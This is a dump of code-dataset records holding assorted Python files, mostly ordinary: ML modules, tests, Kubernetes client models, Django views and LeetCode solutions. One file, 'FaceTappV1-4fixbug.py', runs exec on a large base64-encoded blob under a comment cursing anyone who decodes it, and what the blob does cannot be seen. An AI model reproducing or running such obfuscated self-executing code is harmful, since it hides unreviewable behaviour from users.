blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
⌀
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
574312d2bed415035b668d227346aec7b2cfc11d
093de102ba249c6ed33731b95ddcb8dcec122d0a
/forte_wrapper/faiss/embedding_based_indexer.py
348f3ae5e8346ff4bf5af78b25bde8fbb3a63901
[ "Apache-2.0" ]
permissive
jennyzhang-petuum/forte-wrappers
114e5f99f71315fd35df4203c2fd8351a048bd56
30da9e4a41d402e1b28e52f40747b24465c842d4
refs/heads/main
2023-06-14T01:34:44.456471
2021-06-08T00:09:49
2021-06-08T00:09:49
352,801,587
0
0
Apache-2.0
2021-03-29T22:30:34
2021-03-29T22:30:34
null
UTF-8
Python
false
false
7,873
py
# Copyright 2019 The Forte Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
[ "hunterhector@gmail.com" ]
hunterhector@gmail.com
a8b02a27316d36d78973770bfba72437d9962b8d
c8b541ea4fa7d159b80bef116e5cd232ac61b8c1
/venv/Lib/test/test_importlib/test_windows.py
7a586e3ce90465d16cb1688b24f20b973161ebcc
[]
no_license
shengmenghui/knowledge_building
7a2d8eef040c2d3a45726b3a908be301e922024b
04fd7784f15535efed917cce44856526f1f0ce48
refs/heads/master
2022-12-31T14:18:05.282092
2020-10-23T02:51:37
2020-10-23T02:51:37
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,931
py
from . import util as test_util machinery = test_util.import_importlib('importlib.machinery') import os import re import sys import unittest from sql_mode import support from distutils.util import get_platform from contextlib import contextmanager from .util import temp_module support.import_module('winreg', required...
[ "15173342800@163.com" ]
15173342800@163.com
2ac5b91b842eb347d969291b867a28671b7ed9d2
1375f57f96c4021f8b362ad7fb693210be32eac9
/kubernetes/test/test_v1_service_list.py
e4839c87221e4652ef011b241229796e8fcff1f1
[ "Apache-2.0" ]
permissive
dawidfieluba/client-python
92d637354e2f2842f4c2408ed44d9d71d5572606
53e882c920d34fab84c76b9e38eecfed0d265da1
refs/heads/master
2021-12-23T20:13:26.751954
2017-10-06T22:29:14
2017-10-06T22:29:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
843
py
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.7.4 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys im...
[ "mehdy@google.com" ]
mehdy@google.com
1fb84d0a2699b0117842e95bab7335eb89ae5eb7
71967a2d39217f4d781ba6ad82dba609712142ed
/model/module.py
70abbf864e26337e781851eab5853f4efa4e3e02
[ "Apache-2.0" ]
permissive
rannielin/JointBERT
3c47a4d6023055f6709ebc0cd64b2a9572a5d1f9
4ef96ce5422e4f344d545988ffe3b6029b89a089
refs/heads/master
2022-12-13T18:25:41.525581
2020-09-11T23:40:54
2020-09-11T23:40:54
293,925,923
0
0
Apache-2.0
2020-09-11T23:40:55
2020-09-08T20:58:38
Python
UTF-8
Python
false
false
718
py
import torch.nn as nn class IntentClassifier(nn.Module): def __init__(self, input_dim, num_intent_labels, dropout_rate=0.): super(IntentClassifier, self).__init__() self.dropout = nn.Dropout(dropout_rate) self.linear = nn.Linear(input_dim, num_intent_labels) def forward(self, x): ...
[ "adieujw@gmail.com" ]
adieujw@gmail.com
2598faecfff82e8c58654eb7030f6bfa866b6498
3a83c6bf8b4f9dd2d270ec12d8df87e55f75a858
/noccn/ccn.py
be2c36431fd0e8a8c41ead731458af99c66f1b66
[]
no_license
ilovecv/noccn
b7af58be55e9d16ff86d9eb37601244c3c67073d
1d41ac3a8e98c567f4d4e44f55f4741aff64d26b
refs/heads/master
2020-12-25T16:02:28.833763
2013-12-16T22:18:21
2013-12-16T22:18:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
141
py
import sys def add_path(): sys.path.append('.') add_path() import convnet import data import gpumodel import options import shownet
[ "daniel.nouri@gmail.com" ]
daniel.nouri@gmail.com
e7da1beb4a7b89c0e3dd4ac5e86e89d4ff3f59c2
c208954de92470c0144fad2e07a92ed1822edd59
/Facetapp/FaceTappV1-4fixbug.py
585b2d8d330e8d38a63ab6bb0d63e4cdcae4e242
[ "MIT", "AGPL-3.0-only" ]
permissive
rendy026/reverse-enginnering
4217f3b723569fb792bac0f22a56a305199db1dc
f04cec0bf518a2617fc4fd7155f755fafc2af799
refs/heads/master
2023-01-07T15:49:15.791052
2020-10-13T09:22:02
2020-10-13T09:22:02
303,575,571
0
0
MIT
2020-10-13T09:41:59
2020-10-13T03:17:42
Python
UTF-8
Python
false
false
19,642
py
#Ya allah cabutlah nyawa orang yg mencoba mendepcrypt script ini aminnnnnnnn #aminnnn! #hubungi 089652884613 bila terjadi bug import base64 exec(base64.b64decode("IyEvdXNyL2Jpbi9weXRob24KCmltcG9ydCB0aW1lCmltcG9ydCBvcwppbXBvcnQgc3lzCmltcG9ydCBnZXRwYXNzCgpzbGVlcCA9IHRpbWUuc2xlZXAKc3lzdGVtID0gb3Muc3lzdGVtCmV4aXQgPSBze...
[ "noreply@github.com" ]
rendy026.noreply@github.com
9489ddc32c0f7dc897522377549869e62a5b6fe7
2f23ed0f60e1e246ec744ae9f6ecc218cc8701e7
/Array/m11. Container With Most Water.py
9a241286657adbbcf2e589ce258c9ca078c72389
[]
no_license
yemao616/Leetnotes
3fadd0e7d9a5a58944838d678fd1c84173ddedb6
7f10d2f7044cf8c0cd45b61141a519c5790b5be2
refs/heads/master
2020-03-27T21:26:57.237521
2018-10-11T04:27:57
2018-10-11T04:27:57
147,145,044
0
1
null
null
null
null
UTF-8
Python
false
false
1,969
py
# Given n non-negative integers a1, a2, ..., an , where each represents a point at coordinate (i, ai). n vertical lines are drawn such that the two endpoints of line i is at (i, ai) and (i, 0). Find two lines, which together with x-axis forms a container, such that the container contains the most water. # Note: You ...
[ "ymao4@ncsu.edu" ]
ymao4@ncsu.edu
0ac22c5cf146d63d7f3c738a342a35199fa5619e
3ac2ac377264dae0453b6cfddd10cba6fe5579a4
/sellmo/contrib/payment/methods/cash_payment/__init__.py
9c4058c4b954a158a04bba99e0d343c575a53dad
[]
no_license
leotop/django-sellmo
ddec3384190a77cd394fa80c9771cb1041ad9e32
bd3b7cbae7bcb8a56cb7410f6e771c0b24578d63
refs/heads/master
2021-01-17T14:32:47.646198
2015-04-26T22:41:27
2015-04-26T22:41:27
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,739
py
# Copyright (c) 2014, Adaptiv Design # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the...
[ "raymond@adaptiv.nl" ]
raymond@adaptiv.nl
1bfe4d13b12f2093ff244caba086aa9ec3d5e8b4
0add4503db91c1a0620fab841cf9fba6805fac99
/spsdk/sbfile/sb31/functions.py
7b7a8b52d5eae71a97fc177945f7db7dfbecdd6c
[ "BSD-3-Clause", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
nickray/spsdk
43683bc8d67438fa4df8d558ee45103ac9975b72
af48dd8fdf46f45dc8457df677f250a66dc3c0fa
refs/heads/master
2023-02-15T11:42:00.169741
2021-01-15T15:38:03
2021-01-15T15:38:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,013
py
#!/usr/bin/env python # -*- coding: UTF-8 -*- # # Copyright 2019-2020 NXP # # SPDX-License-Identifier: BSD-3-Clause """File including helping functions.""" from abc import abstractmethod from struct import calcsize, pack, unpack_from from typing import Tuple from spsdk.sbfile.sb31.constants import EnumCmdTag def ad...
[ "maria.wisniewska@nxp.com" ]
maria.wisniewska@nxp.com
349c197ef17209c6dcac615eb2bc2f62d02b122c
339901caa0cbb3bd2762ad83bb9f847c01b0df39
/rice_3k_mPing_scripts/Analysis_of_the_PingA_locus/Check_Locus_Status_Pseudo.py
5b224225b681107bbdaf514db9bdcbcbad735f78
[]
no_license
stajichlab/Dynamic_rice_publications
e592e83a4842eff7354e06e5368e6f7590b472ee
93ac8732d64b7ab4831a0b0b9b1593efc5814805
refs/heads/master
2020-03-24T05:10:56.815367
2020-02-11T07:26:17
2020-02-11T07:26:17
142,477,743
1
1
null
null
null
null
UTF-8
Python
false
false
2,659
py
#!/opt/Python/2.7.3/bin/python import sys from collections import defaultdict import numpy as np import re import os import argparse import glob from Bio import SeqIO sys.path.append('/rhome/cjinfeng/BigData/software/ProgramPython/lib') from utility import gff_parser, createdir from excision import bamcheck, bamcheck_s...
[ "jinfeng7chen@gmail.com" ]
jinfeng7chen@gmail.com
f8e57704e060418cffcfe954d91fedc68735a3a8
e1f519fc0c4f76d11db9584f74c5b49ca95b0798
/top_interview_questions/easy_collection/array/plus_one.py
54bd1b74796a462595c6f29f304aa8338ec7e233
[]
no_license
hwc1824/LeetCodeSolution
22d41327cde2b9562f58cc73e6205c7c2f9a5e1c
ac53dd9bf2c4c9d17c9dc5f7fdda32e386658fdd
refs/heads/master
2023-08-16T10:15:39.351933
2018-12-19T00:43:07
2018-12-19T00:43:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,075
py
""" Plus One https://leetcode.com/problems/plus-one/ Given a non-empty array of digits representing a non-negative integer, plus one to the integer. The digits are stored such that the most significant digit is at the head of the list, and each element in the array contain a single digit. You may assume the integer...
[ "eraxer0165749@gmail.com" ]
eraxer0165749@gmail.com
f84ab3a4c0b5edc63402c8e710ec0249b00f909e
e3d969e2c9e4b57f4f7d58af5e44a00aa8fb15d3
/0279 Perfect Squares.py
a81cf2f15531131af5799991acdb48a72a81ba84
[ "MIT" ]
permissive
kevin-fang/leetcode
2744ff01e791db6f60edf946ef71451fae92ef6f
3958f888b30bb3e29916880ecec49b3870a0bea3
refs/heads/master
2022-12-15T07:50:01.056016
2020-09-10T03:47:53
2020-09-10T03:47:53
294,296,037
3
0
MIT
2020-09-10T03:47:39
2020-09-10T03:47:38
null
UTF-8
Python
false
false
274
py
class Solution: def numSquares(self, n: int) -> int: dp = [float('inf')]*(n+1) dp[0] = 0 for i in range(1,n+1): for j in range(1, int(sqrt(i)+1)): dp[i] = min(dp[i], dp[i-j**2]+1) return dp[-1]
[ "mdabedincs@gmail.com" ]
mdabedincs@gmail.com
859f310604a1c46ed60e502c35cb1856640aea19
55c250525bd7198ac905b1f2f86d16a44f73e03a
/Python/Scripts/Downloading multiple videos.py
18b90031414209921566db79994fa6a2d7e89fe1
[]
no_license
NateWeiler/Resources
213d18ba86f7cc9d845741b8571b9e2c2c6be916
bd4a8a82a3e83a381c97d19e5df42cbababfc66c
refs/heads/master
2023-09-03T17:50:31.937137
2023-08-28T23:50:57
2023-08-28T23:50:57
267,368,545
2
1
null
2022-09-08T15:20:18
2020-05-27T16:18:17
null
UTF-8
Python
false
false
801
py
#!python3 # Downloading multiple videos from pytube import YouTube #where to save SAVE_PATH = "C:\Users\natew\Desktop" #to_do #link of the video to be downloaded link=["https://www.youtube.com/watch?v=xWOoBJUqlbI", "https://www.youtube.com/watch?v=xWOoBJUqlbI" ] for i in link: try: # object creation using...
[ "nateweiler84@gmail.com" ]
nateweiler84@gmail.com
c07794c77a6de109383fc95303666481db1fc923
b385f39c5b701fb6f22796ab951872257ae8398a
/exercicios-secao13/exercicio06.py
69949be824d08e0eff5b57116f99f6cbc5b16919
[ "MIT" ]
permissive
EhODavi/curso-python
5c97a6913bad198ae590519287ed441c95399d80
cf07e308be9d7516f2cfe7f21c539d214c836979
refs/heads/main
2023-08-07T13:44:46.608118
2021-06-14T21:40:50
2021-06-14T21:40:50
356,542,988
0
0
null
null
null
null
UTF-8
Python
false
false
626
py
nome_arquivo = input('Informe o nome do arquivo: ') ocorrencias = {'a': 0, 'b': 0, 'c': 0, 'd': 0, 'e': 0, 'f': 0, 'g': 0, 'h': 0, 'i': 0, 'j': 0, 'k': 0, 'l': 0, 'm': 0, 'n': 0, 'o': 0, 'p': 0, 'q': 0, 'r': 0, 's': 0, 't': 0, 'u': 0, 'v': 0, 'w': 0, 'x': 0, 'y': 0, 'z': 0}...
[ "davi.miau@gmail.com" ]
davi.miau@gmail.com
51e97688dfea0e26eee3765d417dece7f7ea8eb9
787eb6ec718a4873e0dadadbf4317f5ef7a53d5a
/utiles/serializers.py
5a5ed5e053a58dffbc509383564d33dbce2dfc24
[]
no_license
ryujiin/apistore
dd216f50315e4f0beb8862368df3f9abfc3deeb0
da1d62c5c553e29af06d492d8bd89ca65504d42b
refs/heads/master
2021-07-14T00:31:56.066324
2017-10-03T23:25:13
2017-10-03T23:25:13
105,499,759
0
0
null
null
null
null
UTF-8
Python
false
false
274
py
from rest_framework import serializers from models import * class ColorSerializer(serializers.ModelSerializer): class Meta: model = Color fields = ('__all__') class TallaSerializer(serializers.ModelSerializer): class Meta: model = Talla fields = ('__all__')
[ "ryujiin22@gmail.com" ]
ryujiin22@gmail.com
2c7e65d0985cb176b53eea21bde79a822870627d
060ce17de7b5cdbd5f7064d1fceb4ded17a23649
/fn_geocoding/fn_geocoding/util/selftest.py
0978f9256264d15027284197393f54b66dfbb728
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
ibmresilient/resilient-community-apps
74bbd770062a22801cef585d4415c29cbb4d34e2
6878c78b94eeca407998a41ce8db2cc00f2b6758
refs/heads/main
2023-06-26T20:47:15.059297
2023-06-23T16:33:58
2023-06-23T16:33:58
101,410,006
81
107
MIT
2023-03-29T20:40:31
2017-08-25T14:07:33
Python
UTF-8
Python
false
false
967
py
# -*- coding: utf-8 -*- # (c) Copyright IBM Corp. 2018. All Rights Reserved. # pragma pylint: disable=unused-argument, no-self-use """Function implementation""" import logging from resilient_lib import RequestsCommon log = logging.getLogger(__name__) log.setLevel(logging.INFO) log.addHandler(logging.StreamHandler()) ...
[ "shane.curtin@ie.ibm.com" ]
shane.curtin@ie.ibm.com
2dfa1c03b71a3418122089b73aadc0f513e9872c
d532678a41b91234823ffa3899c3d509c4d84f08
/Python-Finance-ch_01.py
71e8d28fac5b4744713559db9c7a895327714809
[ "MIT" ]
permissive
bmoretz/Python-Quants
e1ea9a2e821f902a67914786c4fcb02af657953c
d3e6415f936f2b64c7cc5b0fcd6bfcc0fd36b651
refs/heads/master
2020-04-20T14:33:04.120197
2019-02-03T05:37:59
2019-02-03T05:37:59
168,902,029
0
0
null
null
null
null
UTF-8
Python
false
false
42
py
100 * 2.5 + 50 import math math.log(1)
[ "bmoretz@ionicsolutions.net" ]
bmoretz@ionicsolutions.net
3678cdd5b675d3747b1df88147992d61ad6fc643
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02954/s097692662.py
54eb5d25a4b07e05189251fd64667be6c293b263
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
963
py
s = list(input()) ans = [s[0]] cnt = 1 if len(s) == 1: print(s[0],end = "") print(1) else: for i in range(len(s)-1): if s[i] == s[i+1]: cnt += 1 else: ans.append(cnt) ans.append(s[i+1]) cnt = 1 if s[-1] == s[-2]: ans.append(cnt) ...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
3aba83c038cce6228689ad2d47f436cb3ce18ad2
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/NvK8xMFNbHrLPL28G_2.py
4477ff720ed13aee6dec26777ea75016735c06eb
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
478
py
""" Create a function that takes a number as an argument and returns the highest digit in that number. ### Examples highest_digit(379) ➞ 9 highest_digit(2) ➞ 2 highest_digit(377401) ➞ 7 ### Notes * Don't forget to `return` the result. * If you get stuck on a challenge, find help in the ...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
1e28f0e5c5c1aacd346c83bbe5ed7566e205cf72
2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae
/python/python_22191.py
a0738f74995f6a81af732ceec7b207dc3da2ed79
[]
no_license
AK-1121/code_extraction
cc812b6832b112e3ffcc2bb7eb4237fd85c88c01
5297a4a3aab3bb37efa24a89636935da04a1f8b6
refs/heads/master
2020-05-23T08:04:11.789141
2015-10-22T19:19:40
2015-10-22T19:19:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
103
py
# How to fix corrupted Python search path in Debian 7.5? apt-get install python2.7-minimal --reinstall
[ "ubuntu@ip-172-31-7-228.us-west-2.compute.internal" ]
ubuntu@ip-172-31-7-228.us-west-2.compute.internal
893d67dd10543e1cc67aea30fe0368bf89059fbd
cddfab0293c23e33c9a5b98dc5bfcc11f0217e04
/splendente/core/splendente_utils.py
df3b9c213d9a7f8c528e99a57f7d1efa0854bb3f
[ "MIT" ]
permissive
Chudry/Splendente-USB
15e5a2309d375f6e0e5d0072ea19ba8ac307495d
c0375eabbea2b71eeeb719824f6fc13906195c96
refs/heads/master
2020-07-19T09:23:48.295860
2019-07-27T13:01:06
2019-07-27T13:01:06
206,419,089
1
0
MIT
2019-09-04T21:38:10
2019-09-04T21:38:10
null
UTF-8
Python
false
false
568
py
# -*- coding: utf-8 -*- #---------------------------------------------------------- [Lib] -----------------------------------------------------------# import datetime import shutil #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------# def Date...
[ "gitland@protonmail.com" ]
gitland@protonmail.com
58161c75ac564687dfa7d593cb36e19096623b33
581d96e72cf7608ada7564db5fad3fde78f3644c
/test/distributed/_sharded_tensor/test_sharded_tensor.py
9345cbd28e72424be3bde697f4887cd7e4bea866
[ "BSD-3-Clause", "LicenseRef-scancode-generic-cla", "BSL-1.0", "Apache-2.0", "BSD-2-Clause" ]
permissive
heitorschueroff/pytorch
dee92c2d2991f2ee0821c438a245dc704eb52b10
6f95850127e4659f857116c8205f03f66ab5a711
refs/heads/master
2023-08-11T11:47:06.710438
2021-08-02T17:24:37
2021-08-02T17:26:54
350,848,572
1
0
NOASSERTION
2021-03-23T20:29:19
2021-03-23T20:29:18
null
UTF-8
Python
false
false
51,414
py
from functools import wraps import sys import torch import torch.distributed as dist from torch.distributed import rpc from torch.distributed import _sharded_tensor from torch.distributed._sharding_spec import ( ChunkShardingSpec, EnumerableShardingSpec, ShardMetadata ) from torch.testing._internal.common_d...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
c1b449c91ba3aa18ee49aa9bec76fbab0885b3b6
d94b6845aeeb412aac6850b70e22628bc84d1d6d
/abstract_nas/evolution/mutator/random.py
0a99b8a7fce3e2845a7b3dffb1801197df704a39
[ "CC-BY-4.0", "Apache-2.0" ]
permissive
ishine/google-research
541aea114a68ced68736340e037fc0f8257d1ea2
c1ae273841592fce4c993bf35cdd0a6424e73da4
refs/heads/master
2023-06-08T23:02:25.502203
2023-05-31T01:00:56
2023-05-31T01:06:45
242,478,569
0
0
Apache-2.0
2020-06-23T01:55:11
2020-02-23T07:59:42
Jupyter Notebook
UTF-8
Python
false
false
5,383
py
# coding=utf-8 # Copyright 2023 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
[ "copybara-worker@google.com" ]
copybara-worker@google.com
27b7bb04bf9786159ee2f3efa317c07acf36aefd
391a40002b63daff8bb056b2f0b2ae3f7ee52bb3
/项目/2组_基于Django的课程学习的web应用/Django-MxOnlineimooc/extra_apps/xadmin/plugins/multiselect.py
a3abda3b64dfc9c8deb731113f489dc80cdcdd0e
[]
no_license
realllcandy/USTC_SSE_Python
7b40f0e4ae3531fc41683fd19f71a58ce3815cdb
3ac15a95e8a99491c322481a70c14b6ab830082f
refs/heads/master
2023-03-17T21:30:19.068695
2020-10-10T06:15:28
2020-10-10T06:15:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,251
py
#coding:utf-8 from itertools import chain import xadmin from django import forms from django.db.models import ManyToManyField from django.forms.utils import flatatt from django.template import loader from django.utils.encoding import force_text from django.utils.html import escape, conditional_escape from dj...
[ "321699849@qq.com" ]
321699849@qq.com
2992576c0d5f348dd3d23b18b9615338ad50880b
fc2d52377decd6197aee44b571541afd70e7038f
/core/views/core_views.py
7b3b1048e10bba0796300566201cc72d1d321da9
[]
no_license
ulugbek1999/ncd-site
16b68fe6940ce7e4cbd3ae0d1c843c7b8cdfd93b
f81b820355d6db82005439dec3fc1db479245603
refs/heads/master
2022-09-08T18:11:35.971779
2019-10-06T15:23:11
2019-10-06T15:23:11
203,382,857
0
0
null
null
null
null
UTF-8
Python
false
false
5,290
py
from django.contrib.auth import logout, authenticate, login from django.db.models import Q from django.http import HttpResponseRedirect, JsonResponse from django.urls import reverse from django.views import View from django.views.generic import TemplateView, DetailView, ListView from cms.models import Slider, Service,...
[ "kayrat.nazov@gmail.com" ]
kayrat.nazov@gmail.com
b7e6130970468d3951b5de09dbda4a84531f546d
4fe0ed5e592641b272aa2167ae591155a9cad416
/python_tutorial/store_stdout_in_stringIO.py
884f36c889178e519b1479b473fe25e72c55d483
[]
no_license
AlexandreMarcotte/test_code
cf715caee730cfdafa7cf97bd011ac15443872f3
07e115055befd55d4598dd8a4b33bbdd00ba6f5a
refs/heads/master
2021-06-07T05:06:12.085390
2019-05-06T23:45:38
2019-05-06T23:45:38
137,810,297
0
0
null
2021-06-01T23:44:40
2018-06-18T21:50:39
Python
UTF-8
Python
false
false
361
py
import io import sys # somewhere to store output out = io.StringIO() # set stdout to our StringIO instance sys.stdout = out # print something (nothing will print) print('herp derp') # restore stdout so we can really print (__stdout__ stores the original stdout) sys.stdout = sys.__stdout__ # print the stored value ...
[ "alexandre.marcotte.1094@gmail.com" ]
alexandre.marcotte.1094@gmail.com
1592223fcc8c3b933f1cb0a8c4f43ca0b5f45e6f
bae75bf1de75fb1b76e19b0d32c778e566de570a
/smodels-database/8TeV/ATLAS/ATLAS-SUSY-2013-15/validation/T6bbWWoff_2EqMassAx_EqMassBy+20_EqMassCy.py
5b5b88773744bddab7363e6eec2166e894eef14f
[]
no_license
andlessa/RDM
78ae5cbadda1875c24e1bb726096b05c61627249
ac6b242871894fee492e089d378806c2c2e7aad8
refs/heads/master
2023-08-16T00:47:14.415434
2021-09-21T20:54:25
2021-09-21T20:54:25
228,639,778
0
0
null
null
null
null
UTF-8
Python
false
false
41,807
py
validationData = [{'kfactor': 1.0, 'signal': 1833.0713321514002, 'axes': [300.0, 188.5], 'dataset': None, 'UL': 29489.99999999999, 'slhafile': 'T6bbWWoff_300_208_188_300_208_188.slha', 'condition': 0.0}, {'kfactor': 1.0, 'signal': 61900.142380164, 'axes': [152.4, 80.4], 'dataset': None, 'UL': 111069.17293233077, 'slhaf...
[ "wolfgang.waltenberger@gmail.com" ]
wolfgang.waltenberger@gmail.com
7ba801a09a74cb65ae19461174b0cbaa3d6ee9d5
a1cabd77e55e76ccbb5bc31ad195f512e0b35f12
/tests/integ/config.py
5bcc530eb9c4443dd0004d71ea6a4896bc72a637
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
untereiner/hsds
d2a404ea24a1b021ae1663f047a949d44016105c
c5b33e9851c9d4aa59dd3cc8fa571db0a2c6d6b1
refs/heads/master
2023-03-07T21:32:57.413377
2021-01-20T01:12:41
2021-01-20T01:12:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,863
py
############################################################################## # Copyright by The HDF Group. # # All rights reserved. # # # # Th...
[ "jreadey@hdfgroup.org" ]
jreadey@hdfgroup.org
c81bbbdd1ea2fbfc97d7912f300ee4173d054877
57d041f4cb6a5f75d3e9b17e504f2fd90e1aaf1a
/moha/posthf/ci/__init__.py
83aa8ed739f61d3d79b72e2a091cc95931ae1394
[ "MIT" ]
permissive
ZhaoYilin/moha
e8e299d40012fa4179c36c402b0099c03d5e25ad
dc6c21b016f7d55009832957f5654b7c3d464b8b
refs/heads/master
2022-09-17T15:42:38.010053
2022-05-12T15:01:48
2022-05-12T15:01:48
221,081,502
16
3
MIT
2023-09-08T17:53:25
2019-11-11T22:27:52
Python
UTF-8
Python
false
false
353
py
from __future__ import division, print_function from __future__ import absolute_import from moha.posthf.ci.slater import * from moha.posthf.ci.ci_basis_set import * from moha.posthf.ci.ci_operator import * from moha.posthf.ci.ci_wavefunction import * from moha.posthf.ci.cis import * from moha.posthf.ci.cisd import * f...
[ "zhaoyilin1991@gmail.com" ]
zhaoyilin1991@gmail.com
d951a55711b783bf9c0e8dfa840a3c3617c6b2aa
e97fb7903336837edb6bb3db16ea48512128076e
/14. Date and Time/5. DateClassMethod.py
295b53a4f06e1ac0ce0c8d30b997a01d8e0d9a2a
[]
no_license
satyambhatt5/Advance_Python_code
4081bdb1e80f05161c07f416ebade3907e83f0fd
58746540285f253699b73aeebd3975911a310deb
refs/heads/master
2023-05-22T20:10:54.271672
2021-06-16T08:55:16
2021-06-16T08:55:16
377,386,448
0
0
null
null
null
null
UTF-8
Python
false
false
193
py
from datetime import date cd1 = date.today() # Calling Method using class name print("Current Date:", cd1) print("Date:", cd1.day) print("Month:", cd1.month) print("Year:", cd1.year) print()
[ "bhattsatyam793@gmail.com" ]
bhattsatyam793@gmail.com
e7c124665e10a97725a9f54c61dc9424287a3a78
490ffe1023a601760ae7288e86723f0c6e366bba
/horizon-docker/zun/zun/tests/unit/api/controllers/experimental/test_capsules.py
c4c14f09a11919c3f3571a826da9f34f2c665512
[ "Apache-2.0" ]
permissive
bopopescu/Cloud-User-Management
89696a5ea5d2f95191327fbeab6c3e400bbfb2b8
390988bf4915a276c7bf8d96b62c3051c17d9e6e
refs/heads/master
2022-11-19T10:09:36.662906
2018-11-07T20:28:31
2018-11-07T20:28:31
281,786,345
0
0
null
2020-07-22T21:26:07
2020-07-22T21:26:06
null
UTF-8
Python
false
false
7,379
py
# Copyright 2017 Arm Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
[ "Mr.Qinlichao@hotmail.com" ]
Mr.Qinlichao@hotmail.com
df8c4b03d392c99b8d5e044eaf1d205febf08025
dfaf6f7ac83185c361c81e2e1efc09081bd9c891
/k8sdeployment/k8sstat/python/kubernetes/client/models/v1_persistent_volume_spec.py
f63132832d57858dc0bd94b25f48c9e0f0ee3166
[ "MIT", "Apache-2.0" ]
permissive
JeffYFHuang/gpuaccounting
d754efac2dffe108b591ea8722c831d979b68cda
2c63a63c571240561725847daf1a7f23f67e2088
refs/heads/master
2022-08-09T03:10:28.185083
2022-07-20T00:50:06
2022-07-20T00:50:06
245,053,008
0
0
MIT
2021-03-25T23:44:50
2020-03-05T02:44:15
JavaScript
UTF-8
Python
false
false
29,322
py
# coding: utf-8 """ Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 OpenAPI spec version: v1.15.6 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six class V1Persiste...
[ "JeffYFHuang@github.com" ]
JeffYFHuang@github.com
b02f0e656ea31beb28c91a553d57dd74046b8b56
139af68b78734a6bc53bd942ffa05476baf3d71d
/Python Advanced 2021/COMPREHENSION/Exercise 03.py
afe600ead1bdd3ac1bcddacb60e2e455fb799f67
[]
no_license
MiroVatov/Python-SoftUni
7fe3fc0a3928848c5317fb120f789c773bfc117e
0d0d6f116281b4de8c413d254386e27d992d047b
refs/heads/main
2023-08-24T09:44:31.261137
2021-10-18T14:04:03
2021-10-18T14:04:03
317,510,574
1
0
null
null
null
null
UTF-8
Python
false
false
156
py
countries = input().split(', ') capitals = input().split(', ') for country, capital in zip(countries, capitals): print(f"{country} -> {capital}")
[ "noreply@github.com" ]
MiroVatov.noreply@github.com
0a2b979edc3f7c530957fc5bcecea9bf36e39639
60ed393f7a5348fe83af35772895d411275eb9bf
/go/bin/get_sample_url
60102cc8ea6dd5ba0b97ad733b2516df18ebb254
[ "MIT" ]
permissive
shiroyuki/content-proxy-server
1ce28479e89df82cc398bda51f531f7dff9e7d84
f8a50fb39fbb24c6e3ea2e4bd09f8144ec6d6f91
refs/heads/master
2021-01-18T14:26:16.694910
